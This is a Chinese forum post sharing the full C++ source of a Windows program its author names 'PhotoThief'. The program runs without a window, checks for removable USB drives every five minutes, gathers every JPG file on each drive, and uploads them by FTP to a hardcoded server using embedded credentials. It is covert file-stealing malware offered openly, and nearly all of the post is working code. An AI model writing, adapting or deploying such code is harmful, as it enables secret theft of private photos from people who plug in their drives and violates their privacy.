设为首页 收藏本站
查看: 829|回复: 0

利用WinInet库和STL获取计算机硬盘中的文件并上传到指定FTP服务器

[复制链接]
累计签到:1 天
连续签到:1 天
发表于 2015-5-29 12:12:08 | 显示全部楼层 |阅读模式
  必备知识:
  1.WinInet库
  2.STL
  /*/////////////////////////////////////////////////////////////////////////////////////////////////////////////
*           AppName:PhotoThief                                                            *
*           Function:Copy photo to FTP server from your usb store   *
*           Author:Zhang Tianxin (swtar@qq.com)                               *
*           Date:2010-6                                                                           *
/////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
  #include "windows.h"
#include "wininet.h"
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;
  //全局函数声明
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime);
void fuFindAllDirectory(const string &szDirectoryName);
BOOL fuFindFileAsExt(const string &szDirectoryName,const string &szFileExt);
BOOL fuUploadFileToServer(const string &szDirectoryName);
BOOL fuIsJpgFile(const string &szFilePath);
string fuMakeDirectoryName(const string &szDrive);
  //全局变量声明
vector vDrive;
vector vFileList;
const char szUserName[]="XXXXX";
const char szUserPwd[]="XXXXX";                  //用户名和密码当然不能告诉你
  //主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
SetTimer(NULL,1,300000,(TIMERPROC)TimerProc);
MSG msg;
while(1)   
{
  GetMessage(&msg,NULL,0,0);
  DispatchMessage(&msg);                 
}
return 0;
}
  //递归查找文件夹
void fuFindAllDirectory(const string &szDirectoryName)
{
string szFindDirectory=szDirectoryName+"*.*";
string szFullPath;
string szFinishedFile;
string szFilePath;
HANDLE hFile;
WIN32_FIND_DATA stWfd;
hFile=FindFirstFile(szFindDirectory.c_str(),&stWfd);
do
{
  if(lstrcmp(stWfd.cFileName,TEXT("."))==0||lstrcmp(stWfd.cFileName,TEXT(".."))==0)
  {
   continue;
  }
  
  if(stWfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  {
   szFullPath=szDirectoryName+stWfd.cFileName+"\\";
   fuFindAllDirectory(szFullPath);
  }
  else
  {
   szFinishedFile=stWfd.cFileName;
   if(fuIsJpgFile(szFinishedFile))
   {
    szFilePath=szDirectoryName+stWfd.cFileName;
    vFileList.push_back(szFilePath);
   }
  }
}
while(FindNextFile(hFile,&stWfd));
FindClose(hFile);
}
  //判断找到的文件是不是图片
BOOL fuIsJpgFile(const string &szFilePath)
{
string szFileExt;
char szTemp[MAX_PATH];
ZeroMemory(szTemp,MAX_PATH);
szFileExt=szFilePath.substr(szFilePath.rfind(".")+1);
lstrcpy(szTemp,szFileExt.c_str());
strupr(szTemp);
if(lstrcmp(szTemp,"JPG")==0)
{
  return TRUE;
}
else
{
  return FALSE;
}
}
  //定时器回调函数
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
char str[1024];
string szDriveLabel;
PCHAR temp;
ZeroMemory(str,1024);
GetLogicalDriveStrings(1023,str);
temp=(PCHAR)str;
do
{
  if(GetDriveType(temp)==DRIVE_REMOVABLE)
  {
   if(count(vDrive.begin(),vDrive.end(),temp[0])!=0)
   {
    continue;
   }
   vDrive.push_back(temp[0]);
   string szDirectoryName(temp);
   fuFindAllDirectory(szDirectoryName);
   if(!vFileList.empty())
   {
    fuUploadFileToServer(fuMakeDirectoryName(szDirectoryName));
   }
  }
  temp+=(lstrlen(temp)+1);
}
while(*temp!='\x00');
}
  //生成用于在服务器上创建文件夹的字符串
string fuMakeDirectoryName(const string &szDrive)
{
char szHostName[MAX_PATH];
char szDate[MAX_PATH];
char szIP[10];
char szDriveLabel[MAX_PATH];
ZeroMemory(szDate,MAX_PATH);
ZeroMemory(szHostName,256);
ZeroMemory(szIP,10);
ZeroMemory(szDriveLabel,MAX_PATH);
string szDirectoryName,szTemp,szDriveRoot;
szDriveRoot=szDrive.substr(0,3);
SYSTEMTIME st;
struct hostent* pHostEnt;
//格式化日期和时间
GetSystemTime(&st);
wsprintf(szDate,"%d-%d-%d-%d-%d-%d",st.wYear,st.wMonth,st.wDay,st.wHour+8,st.wMinute,st.wSecond);
szTemp=szDate;
//格式化IP地址
WSADATA wsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
  MessageBox(NULL,"初始化套接字失败","错误",MB_OK|MB_ICONSTOP);
}
if(gethostname(szHostName,sizeof(szHostName))==SOCKET_ERROR)
{
  MessageBox(NULL,"获取计算机名失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
pHostEnt=gethostbyname(szHostName);
if(pHostEnt==NULL)
{
  MessageBox(NULL,"获取IP失败!","错误",MB_OK|MB_ICONSTOP);
  return FALSE;
}
wsprintf(szIP,"-%d-%d-",pHostEnt->h_addr_list[0][2]&0x00ff,pHostEnt->h_addr_list[0][3]&0x00ff);
WSACleanup();
szDirectoryName=szTemp+szIP;
//获取卷标
if(GetVolumeInformation(szDriveRoot.c_str(),szDriveLabel,sizeof(szDriveLabel),NULL,NULL,NULL,NULL,NULL)==0)
{
  MessageBox(NULL,"获取U盘卷标失败","出错",MB_OK|MB_ICONSTOP);
}
if(szDriveLabel[0]=='\0')
{
  lstrcpy(szDriveLabel,"可移动磁盘");
}
szTemp=szDirectoryName;
szDirectoryName=szTemp+szDriveLabel;
return szDirectoryName;
}
  //同步方式上传文件到服务器
BOOL fuUploadFileToServer(const string &szDirectoryName)
{
HINTERNET hFtpServer,hConnecdServer;
vector::iterator it;
string szFileName;
hFtpServer=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);                    // 初始化 Win32 internet
if(hFtpServer==NULL)
{
  MessageBox(NULL,"初始化WinInet库失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
hConnecdServer=InternetConnect(hFtpServer,"192.168.51.3",INTERNET_DEFAULT_FTP_PORT,szUserName,szUserPwd,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,(long)0);   //打开一个FTP应用会话
if(hConnecdServer==NULL)
{
  MessageBox(NULL,"创建连接失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"学习任务"))      //设置服务器上当前的工作目录
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"维护专用"))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"ztx"))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpCreateDirectory(hConnecdServer,szDirectoryName.c_str()))       //在服务器上建立一个新的目录
{
   MessageBox(NULL,"在服务器上建立一个新的目录失败","出错",MB_OK|MB_ICONSTOP);
   return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,szDirectoryName.c_str()))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
for(it=vFileList.begin();it!=vFileList.end();it++)
{
  szFileName=it->substr(it->rfind("\\")+1);
  if(!FtpPutFile(hConnecdServer,it->c_str(),szFileName.c_str(),FTP_TRANSFER_TYPE_BINARY,0))     //发送指定文件到服务器
  {
   MessageBox(NULL,"发送指定文件到服务器","出错",MB_OK|MB_ICONSTOP);
  }
}
return TRUE;
}
  
这几天要asp.net实训,时间紧,就先写到这里吧,相关功能稍候完善!

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-71904-1-1.html 上篇帖子: serv-u FTP 本地安全问题 下篇帖子: FTP工作过程的抓包分析
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表